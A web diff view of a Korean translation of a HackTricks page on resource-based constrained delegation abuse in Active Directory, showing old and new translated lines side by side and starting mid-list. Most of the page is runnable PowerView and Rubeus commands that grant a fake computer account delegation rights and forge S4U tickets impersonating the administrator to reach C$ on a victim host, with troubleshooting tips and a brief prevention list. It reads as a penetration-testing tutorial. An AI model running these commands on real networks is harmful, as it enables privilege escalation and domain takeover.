2. `Get-DomainGroup` 명령어를 사용하여 도메인 그룹 목록을 가져옵니다.
|
||||
3. `Get-DomainGroupMember` 명령어를 사용하여 특정 그룹의 구성원을 가져옵니다.
|
||||
4. `Get-DomainObjectAcl` 명령어를 사용하여 특정 리소스의 ACL(Access Control List)을 가져옵니다.
|
||||
5. `Set-DomainObjectAcl` 명령어를 사용하여 특정 리소스의 ACL을 수정합니다.
|
||||
|
||||
**RBAC 공격 방지하기**
|
||||
|
||||
RBAC 공격을 방지하기 위해 다음과 같은 조치를 취할 수 있습니다.
|
||||
|
||||
1. 정기적인 보안 감사를 수행하여 RBAC 구성을 검토합니다.
|
||||
2. 최소 권한 원칙을 준수하여 필요한 권한만 부여합니다.
|
||||
3. 제한된 위임 설정을 검토하고 필요한 경우 수정합니다.
|
||||
4. 보안 패치를 정기적으로 적용하여 시스템을 최신 상태로 유지합니다.
|
||||
|
||||
**참고 자료**
|
||||
|
||||
- [Powerview GitHub 저장소](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)
|
||||
- [Active Directory Resource-Based Constrained Delegation](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/active-directory-resource-based-constrained-delegation)
|
||||
```powershell
|
||||
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
|
||||
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
|
||||
|
@ -121,27 +87,27 @@ msds-allowedtoactonbehalfofotheridentity
|
|||
```
|
||||
### 완전한 S4U 공격 수행
|
||||
|
||||
먼저, 우리는 비밀번호 `123456`으로 새로운 컴퓨터 객체를 생성했습니다. 따라서 해당 비밀번호의 해시가 필요합니다:
|
||||
우선, 우리는 암호가 `123456`인 새로운 컴퓨터 객체를 생성했으므로 해당 암호의 해시가 필요합니다:
|
||||
```bash
|
||||
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
|
||||
```
|
||||
이것은 해당 계정의 RC4 및 AES 해시를 출력합니다.
|
||||
이것은 해당 계정의 RC4 및 AES 해시를 출력합니다.\
|
||||
이제, 공격을 수행할 수 있습니다:
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
|
||||
```
|
||||
Rubeus의 `/altservice` 매개변수를 사용하여 한 번만 요청하여 더 많은 티켓을 생성할 수 있습니다:
|
||||
다음은 Rubeus의 `/altservice` 매개변수를 사용하여 한 번 요청으로 더 많은 티켓을 생성할 수 있습니다:
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
사용자에는 "**위임할 수 없음**"이라는 속성이 있습니다. 사용자가 이 속성을 True로 설정하면 그를 위장할 수 없습니다. 이 속성은 bloodhound에서 확인할 수 있습니다.
|
||||
사용자에게 "**위임할 수 없음**"이라는 속성이 있다는 점을 유의하십시오. 사용자가 이 속성을 True로 설정하면 해당 사용자를 표현할 수 없습니다. 이 속성은 bloodhound 내에서 확인할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 접근
|
||||
|
||||
마지막 명령줄은 **완전한 S4U 공격을 수행하고 TGS를 피해자 호스트의 메모리에 주입**합니다.\
|
||||
이 예제에서는 Administrator의 **CIFS** 서비스에 대한 TGS가 요청되었으므로 **C$**에 액세스할 수 있습니다.
|
||||
마지막 명령줄은 **완전한 S4U 공격을 수행하고 관리자로부터 피해 호스트로 TGS를 삽입**합니다.\
|
||||
이 예에서는 관리자로부터 **CIFS** 서비스를 위한 TGS가 요청되었으므로 **C$**에 액세스할 수 있습니다:
|
||||
```bash
|
||||
ls \\victim.domain.local\C$
|
||||
```
|
||||
|
@ -149,33 +115,37 @@ ls \\victim.domain.local\C$
|
|||
|
||||
[**여기에서 사용 가능한 서비스 티켓을 확인하세요**](silver-ticket.md#available-services).
|
||||
|
||||
## Kerberos 오류
|
||||
## 케르버로스 오류
|
||||
|
||||
* **`KDC_ERR_ETYPE_NOTSUPP`**: 이는 Kerberos가 DES 또는 RC4을 사용하지 않도록 구성되어 있으며, 단지 RC4 해시만 제공하고 있는 경우를 의미합니다. Rubeus에 최소한 AES256 해시를 제공하거나 rc4, aes128 및 aes256 해시를 제공하세요. 예시: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
* **`KRB_AP_ERR_SKEW`**: 현재 컴퓨터의 시간이 DC의 시간과 다르며, Kerberos가 제대로 작동하지 않는 것을 의미합니다.
|
||||
* **`preauth_failed`**: 주어진 사용자 이름 + 해시가 로그인에 작동하지 않는 것을 의미합니다. 해시를 생성할 때 사용자 이름에 "$"를 넣는 것을 잊었을 수 있습니다 (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
* **`KDC_ERR_BADOPTION`**: 다음을 의미할 수 있습니다:
|
||||
* 특정 서비스에 대한 티켓을 요청하는 사용자가 해당 서비스에 액세스할 수 없음 (사용자를 표현할 수 없거나 권한이 충분하지 않은 경우)
|
||||
* 요청한 서비스가 존재하지 않음 (예를 들어 winrm 티켓을 요청했지만 winrm이 실행되고 있지 않은 경우)
|
||||
* 생성된 가짜 컴퓨터가 취약한 서버에 대한 권한을 잃어버렸으며, 다시 권한을 부여해야 함
|
||||
- **`KDC_ERR_ETYPE_NOTSUPP`**: 이는 케르버로스가 DES 또는 RC4을 사용하지 않도록 구성되어 있고 당신이 단순히 RC4 해시를 제공하고 있는 것을 의미합니다. 적어도 AES256 해시를 Rubeus에 제공하십시오 (또는 rc4, aes128 및 aes256 해시를 제공하십시오). 예시: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
- **`KRB_AP_ERR_SKEW`**: 현재 컴퓨터의 시간이 DC의 시간과 다르며 케르버로스가 제대로 작동하지 않는 것을 의미합니다.
|
||||
- **`preauth_failed`**: 주어진 사용자 이름 + 해시가 로그인에 작동하지 않는다는 것을 의미합니다. 해시를 생성할 때 사용자 이름에 "$"를 넣는 것을 잊었을 수 있습니다 (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
- **`KDC_ERR_BADOPTION`**: 이는 다음을 의미할 수 있습니다:
|
||||
- 피해자로 변장하려는 사용자가 원하는 서비스에 액세스할 수 없음 (피해자로 변장할 수 없거나 충분한 권한이 없을 수 있음)
|
||||
- 요청한 서비스가 존재하지 않음 (winrm 티켓을 요청했지만 winrm이 실행되고 있지 않은 경우)
|
||||
- 생성된 가짜 컴퓨터가 취약한 서버에 대한 권한을 잃었으며 다시 부여해야 함
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
|
||||
* [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
|
||||
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
|
||||
* [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
||||
- [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
|
||||
- [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
|
||||
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
|
||||
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
||||
- **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue